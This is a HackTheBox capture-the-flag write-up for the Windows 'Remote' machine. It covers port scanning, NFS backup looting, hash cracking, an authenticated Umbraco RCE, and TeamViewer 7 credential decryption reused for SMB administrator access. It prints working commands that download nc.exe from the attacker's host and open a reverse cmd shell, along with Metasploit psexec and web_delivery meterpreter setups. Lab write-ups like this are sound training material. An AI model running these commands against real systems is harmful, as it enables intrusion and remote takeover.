Pentest

Remote

HackTheBox

19 September 2020

Difficulty:

Intro :flashlight:

My first windows box. Getting foothold was about enumerating a NFS mount containing a backup of the webapp being ran and looking for more than just config files. User was found from enumerating software version, finding a CVE, then running it. Root is about finding CVEs again, but not directly into code execution, but rather we just get credentials, and then we stuff those credentials. I learned a ton of new things during the privesc part as there was a lot of difference from linux machines.

Initial Foothold :mag:

First of all let’s masscan it for open ports.

masscan --rate=200 -e tun0 -p1-65535,U:1-65535 10.10.10.180 | tee masscan.out
...
cat masscan.out

Discovered open port 49665/tcp on 10.10.10.180                                 
Discovered open port 49667/tcp on 10.10.10.180                                 
Discovered open port 21/tcp on 10.10.10.180                                    
Discovered open port 49666/tcp on 10.10.10.180                                 
Discovered open port 2049/tcp on 10.10.10.180                                  
Discovered open port 49678/tcp on 10.10.10.180                                 
Discovered open port 49664/tcp on 10.10.10.180                                 
Discovered open port 445/tcp on 10.10.10.180                                   
Discovered open port 5985/tcp on 10.10.10.180                                  
Discovered open port 47001/tcp on 10.10.10.180                                 
Discovered open port 139/tcp on 10.10.10.180                                   
Discovered open port 49679/tcp on 10.10.10.180                                 
Discovered open port 111/tcp on 10.10.10.180                                   
Discovered open port 49680/tcp on 10.10.10.180                                 
Discovered open port 80/tcp on 10.10.10.180                                    
Discovered open port 135/tcp on 10.10.10.180

Now that we have our open ports our full nmap scan will be much faster because we’re only scanning the open ports for their services and versions. Let’s convert this list into comma separated values for nmap.

awk '{print $4}' masscan.out | tr -d '/tcp' | tr '\n' ','

Very convenient, now we nmap it.

nmap 10.10.10.180 -A -oA nmap -p49665,49667,21,49666,2049,49678,49664,445,5985,47001,139,49679,111,49680,80,135

21/tcp    open  ftp           Microsoft ftpd
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
111/tcp   open  rpcbind       2-4 (RPC #100000)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  mountd        1-3 (RPC #100005)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49664/tcp open  msrpc         Microsoft Windows RPC
...
49680/tcp open  msrpc         Microsoft Windows RPC
Full nmap output
# Nmap 7.80 scan initiated Fri Sep 18 15:52:08 2020 as: nmap -A -oA nmap -p49665,49667,21,49666,2049,49678,49664,445,5985,47001,139,49679,111,49680,80,135 10.10.10.180
Nmap scan report for remote.htb (10.10.10.180)
Host is up (0.024s latency).

PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp    open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp   open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
2049/tcp  open  mountd        1-3 (RPC #100005)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49678/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49680/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows Server 2012 (92%), Microsoft Windows Vista SP1 (92%), Microsoft Windows Longhorn (92%), Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2012 R2 Update 1 (91%), Microsoft Windows Server 2016 build 10586 - 14393 (91%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (91%), Microsoft Windows 10 1511 (90%), Microsoft Windows 10 1703 (90%), Microsoft Windows Server 2008 SP2 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-09-18T08:53:11
|_  start_date: N/A

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   28.98 ms 10.10.14.1
2   23.69 ms remote.htb (10.10.10.180)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 18 15:53:33 2020 -- 1 IP address (1 host up) scanned in 85.37 seconds

Enumeration

FTP

Port 21 is open! Anonymous login is enabled, so let’s try it and see what’s in here.

Looks to be empty. :expressionless:

SMB

Port 445 is open! List the shares if allowed, try anonymous login too.

Looks like we’re going to need some creds for this, we’ll try again when we come accross one.

Web Application

Port 80 is open! Browse around the website, we find a contacts page.

If we click the big blue button, we actually arrive in a login portal.

Looking at the URL and the page source we can conclude that this is Umbraco CMS being used. Googling for exploits nets this RCE exploit, unfortunately we need to be authenticated.

RPC

Port 111 and 135 is open! Let’s look at what the RPC has.

rpcinfo 10.10.10.180
rpcinfo output
   program version netid     address                service    owner
    100000    2    udp6      ::.0.111               portmapper superuser
    100000    3    udp6      ::.0.111               portmapper superuser
    100000    4    udp6      ::.0.111               portmapper superuser
    100000    2    udp       0.0.0.0.0.111          portmapper superuser
    100000    3    udp       0.0.0.0.0.111          portmapper superuser
    100000    4    udp       0.0.0.0.0.111          portmapper superuser
    100000    2    tcp       0.0.0.0.0.111          portmapper superuser
    100000    3    tcp       0.0.0.0.0.111          portmapper superuser
    100000    4    tcp       0.0.0.0.0.111          portmapper superuser
    100000    2    tcp6      ::.0.111               portmapper superuser
    100000    3    tcp6      ::.0.111               portmapper superuser
    100000    4    tcp6      ::.0.111               portmapper superuser
    100003    2    tcp       0.0.0.0.8.1            nfs        superuser
    100003    3    tcp       0.0.0.0.8.1            nfs        superuser
    100003    2    udp       0.0.0.0.8.1            nfs        superuser
    100003    3    udp       0.0.0.0.8.1            nfs        superuser
    100003    2    tcp6      ::.8.1                 nfs        superuser
    100003    3    tcp6      ::.8.1                 nfs        superuser
    100003    2    udp6      ::.8.1                 nfs        superuser
    100003    3    udp6      ::.8.1                 nfs        superuser
    100003    4    tcp       0.0.0.0.8.1            nfs        superuser
    100003    4    tcp6      ::.8.1                 nfs        superuser
    100005    1    tcp       0.0.0.0.8.1            mountd     superuser
    100005    2    tcp       0.0.0.0.8.1            mountd     superuser
    100005    3    tcp       0.0.0.0.8.1            mountd     superuser
    100005    1    udp       0.0.0.0.8.1            mountd     superuser
    100005    2    udp       0.0.0.0.8.1            mountd     superuser
    100005    3    udp       0.0.0.0.8.1            mountd     superuser
    100005    1    tcp6      ::.8.1                 mountd     superuser
    100005    2    tcp6      ::.8.1                 mountd     superuser
    100005    3    tcp6      ::.8.1                 mountd     superuser
    100005    1    udp6      ::.8.1                 mountd     superuser
    100005    2    udp6      ::.8.1                 mountd     superuser
    100005    3    udp6      ::.8.1                 mountd     superuser
    100021    1    tcp       0.0.0.0.8.1            nlockmgr   superuser
    100021    2    tcp       0.0.0.0.8.1            nlockmgr   superuser
    100021    3    tcp       0.0.0.0.8.1            nlockmgr   superuser
    100021    4    tcp       0.0.0.0.8.1            nlockmgr   superuser
    100021    1    udp       0.0.0.0.8.1            nlockmgr   superuser
    100021    2    udp       0.0.0.0.8.1            nlockmgr   superuser
    100021    3    udp       0.0.0.0.8.1            nlockmgr   superuser
    100021    4    udp       0.0.0.0.8.1            nlockmgr   superuser
    100021    1    tcp6      ::.8.1                 nlockmgr   superuser
    100021    2    tcp6      ::.8.1                 nlockmgr   superuser
    100021    3    tcp6      ::.8.1                 nlockmgr   superuser
    100021    4    tcp6      ::.8.1                 nlockmgr   superuser
    100021    1    udp6      ::.8.1                 nlockmgr   superuser
    100021    2    udp6      ::.8.1                 nlockmgr   superuser
    100021    3    udp6      ::.8.1                 nlockmgr   superuser
    100021    4    udp6      ::.8.1                 nlockmgr   superuser
    100024    1    tcp       0.0.0.0.8.1            status     superuser
    100024    1    udp       0.0.0.0.8.1            status     superuser
    100024    1    tcp6      ::.8.1                 status     superuser
    100024    1    udp6      ::.8.1                 status     superuser

Looks like it has nfs and mountd, maybe it actually has available mounts for us?

showmount -e 10.10.10.180

Export list for 10.10.10.180:
/site_backups (everyone)

We have a mount, the name sure makes it look juicy, let’s mount this and see what we have!

Time to find some creds! Let’s see what config files we have

find . -iname '*config*'
find output
./App_Data/packages/installed/installedPackages.config
./App_Data/umbraco.config
./App_Plugins/Terratype/Views/config.html
./App_Plugins/Terratype.GoogleMapsV3/Views/config.appearance.html
./App_Plugins/Terratype.GoogleMapsV3/Views/config.definition.html
./App_Plugins/Terratype.GoogleMapsV3/Views/config.search.html
./Config
./Config/404handlers.config
./Config/applications.config
./Config/BaseRestExtensions.config
./Config/ClientDependency.config
./Config/Dashboard.config
./Config/EmbeddedMedia.config
./Config/ExamineIndex.config
./Config/ExamineSettings.config
./Config/feedProxy.config
./Config/FileSystemProviders.config
./Config/grid.editors.config.js
./Config/HealthChecks.config
./Config/imageprocessor/cache.config
./Config/imageprocessor/processing.config
./Config/imageprocessor/security.config
./Config/log4net.config
./Config/metablogConfig.config
./Config/scripting.config
./Config/tinyMceConfig.config
./Config/trees.config
./Config/umbracoSettings.config
./Media/Web.config
./Umbraco/Config
./Umbraco/Install/Views/Web.config
./Umbraco/Js/web.config
./Umbraco/Views/Preview/web.config
./Umbraco/Views/propertyeditors/grid/config
./Umbraco/Views/propertyeditors/grid/config/grid.default.config.js
./Umbraco/Views/propertyeditors/grid/dialogs/config.html
./Umbraco/Views/propertyeditors/grid/dialogs/editconfig.html
./Umbraco/Views/propertyeditors/grid/dialogs/layoutconfig.html
./Umbraco/Views/propertyeditors/grid/dialogs/rowconfig.html
./Umbraco/Xslt/Web.config
./Views/Web.config
./Web.config

That’s quite a lot, let’s search for the string “pass” in all of those files.

for f in `find . -iname '*config*'`; do grep -i pass ${f}; done

The output isn’t really interesting sadly.

Let’s continue roaming around this mount, we’ve found a database table creation that got logged in App_Data/Logs/UmbracoTraceLog.intranet.txt.2020-02-19.

grep -n30 password UmbracoTraceLog.intranet.txt.2020-02-19

With this, now we know that there must be a database being used, which means we should look for table content and database accounts. Googling a bit gets us here, it tells us that the particular file we need to look into is the umbraco.sdf file, which after a bit of roaming around we can find in App_Data/. But if we try to cat it it looks like a binary file.

We can see that there are some strings mixed in with the binary, we can use strings to attempt to extract something useful.

We have found some potential usernames!

After this part, I was actually looking at umbraco user enum vuln to try and verify these usernames. I tried the benchmarking method, but no luck. I did however found some luck with the “forget password” feature.

Now we found admin@htb.local and ssmith@htb.local to be the usernames that we can use for this login portal. Go back to searching the logs in hopes of finding logged passwords belonging to admin@htb.local.

We did see a bunch of logins, but no passwords, guess the logs aren’t configured to log passwords in it. Let’s go back to our umbraco.sdf file that gave us the usernames in the first place.

We got a sha1 hash, let’s throw it in a cracker!

Very nice, we got a password baconandcheese, let’s test it on the login portal with all the usernames we have.

Very nice indeed, we are now admin@htb.local!

User Own :heavy_dollar_sign:

Now that we have some creds, let’s stuff it everywhere!

Trying in ftp and smb

No luck here. Time for the main event, the RCE exploit! (This one from before)

Tried it out with basic commands like powershell with the argument ls, it works. So now we need a proper shell, at least a basic cmd. So I tried to transfer nc.exe over to the victim machine.

python exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c powershell.exe -a "-NoProfile -Command (New-Object System.Net.WebClient).DownloadFile('http://10.10.X.X:8088/nc.exe')"
# error MethodException

python exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c 'powershell' -a 'IEX(IWR http://10.10.X.X:8088/nc.exe)'
# got a hit on my server but errored NotSupportedException

python exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c 'powershell' -a 'IEX(IWR http://10.10.X.X:8088/nc.exe -UseBasicParsing)'
# got a hit on my server but errored parsing XSLT:System.ArgumentException

python exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c 'powershell' -a 'iwr http://10.10.X.X:8088/nc.exe -UseBasicParsing -OutFile nc.exe'
# got a hit on my server but errored access denied

python exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c 'powershell' -a 'iwr http://10.10.X.X:8088/nc.exe -UseBasicParsing -OutFile c:\\windows\\temp\\nc.exe'
# got a hit on my server and took a while longer and produces no output

Our last attempt might have succeeded, let’s check

We got the nc.exe in! Now for our shell, let’s listen with nc on 1234.

python exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c 'c:\\windows\\temp\\nc.exe' -a '-e cmd.exe 10.10.14.43 1234'

We have what looks to me like a low privileged shell, like www-data? If this was a linux box I’d be roaming around /var/www and /home so I’m guessing the windows equivalent of that is c:\users\, after checking each folder here, we actually have access to one of them.

There’s user.txt in here!

Root Own :zap:

Now that we know that we are actually user and not just some low privileged user let’s start enumerating. Here are my findings, I managed to get SYSTEM with the last thing listed here.

whoami

Running whoami /priv show us some interesting privileges

Googling a bit gets us here, it says that we need another privilege for a potential exploit which is the SeAssignPrimaryToken privilege, which we do have.

netstat

Running netstat -ano reveals some ports only available to localhost.

Let’s see what the processes are

It’s teamviewer, that’s a bit wierd, let’s try to look at the version with tasklist /svc.

Now we know teamviewer version 7 is running on this machine on port 5939. But it’s only serving 127.0.0.1? Time to google, found a very nice and detailed article.

TL;DR of the article, teamviewer7 actually stores an encrypted password used to login to teamviewer in a registry key but the encryption key was found out so now we can decrypt it, and the registry key is going to be named one of these:

The article also provides a python script to decrypt the key for us, there’s also a metasploit module that automatically searches for the keys.

I couldn’t use the metasploit module because I couldn’t get my shell to upgrade into a meterpreter shell (I did found out how to do this after the machine was done though). Searching those specific keys one by one doesn’t seem fun or effective, so let’s try and search for it manually first.

Looks like we found a lead, let’s traverse along this.

We have found the key we need! Time to crack it, replace the key with our key in the script, and run it.

We got !R3m0te! teamviewer password, we don’t know what the username is though. So then I downloaded teamviewer for linux, and tried to connect (I’ve never used teamviewer), but it turns out that connecting via teamviewer needs a username and password, you can’t connect by ip. To add to that, the teamviewer wasn’t even listening to the internet as it was only serving 127.0.0.1.

All of a sudden we’ve hit a dead end? But wait, we found another credential, which means, time for credential stuffing again!

Try it on ftp and smb

We managed to get the smb share list with administrator:!R3m0te!, now let’s see what’s in these shares. C$ looks like it might be c:\ so let’s try that

It looks promising, let’s roam around.

Do we have more privileges? We did login with administrator so we must have administrator privileges right?

Yes we do!

Post Exploitation :memo:

I’ve googled and found out about a metasploit module that allows us to get a shell out of smb credentials. Tried that out and it does work.

Module options
Module options (exploit/windows/smb/psexec):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   RHOSTS                10.10.10.180     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                 445              yes       The SMB service port (TCP)
   SERVICE_DESCRIPTION                    no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                   no        The service display name
   SERVICE_NAME                           no        The service name
   SHARE                 ADMIN$           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                no        The Windows domain to use for authentication
   SMBPass               !R3m0te!         no        The password for the specified username
   SMBUser               administrator    no        The username to authenticate as


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.X.X        yes       The listen address (an interface may be specified)
   LPORT     9876             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic

I’ve also found out how to upgrade RCE into meterpreter (on windows), it’s using exploit/multi/script/web_delivery with the payload set to windows/x64/meterpreter/reverse_tcp! We just need to set the target to an ideal one like PSH and make sure we aren’t using ports that are already in use.

Module options
Module options (exploit/multi/script/web_delivery):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  10.10.XX.XX      yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8899             yes       The local port to listen on.
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                   no        The URI to use for this exploit (default is random)


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     10.10.XX.XX      yes       The listen address (an interface may be specified)
   LPORT     6543             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   2   PSH

It’ll give us a string to execute, we execute it with the RCE we have, and we have a meterpreter session!

I’ve learned quite a few really handy things from owning this machine! :checkered_flag::checkered_flag:

Takeaway :books: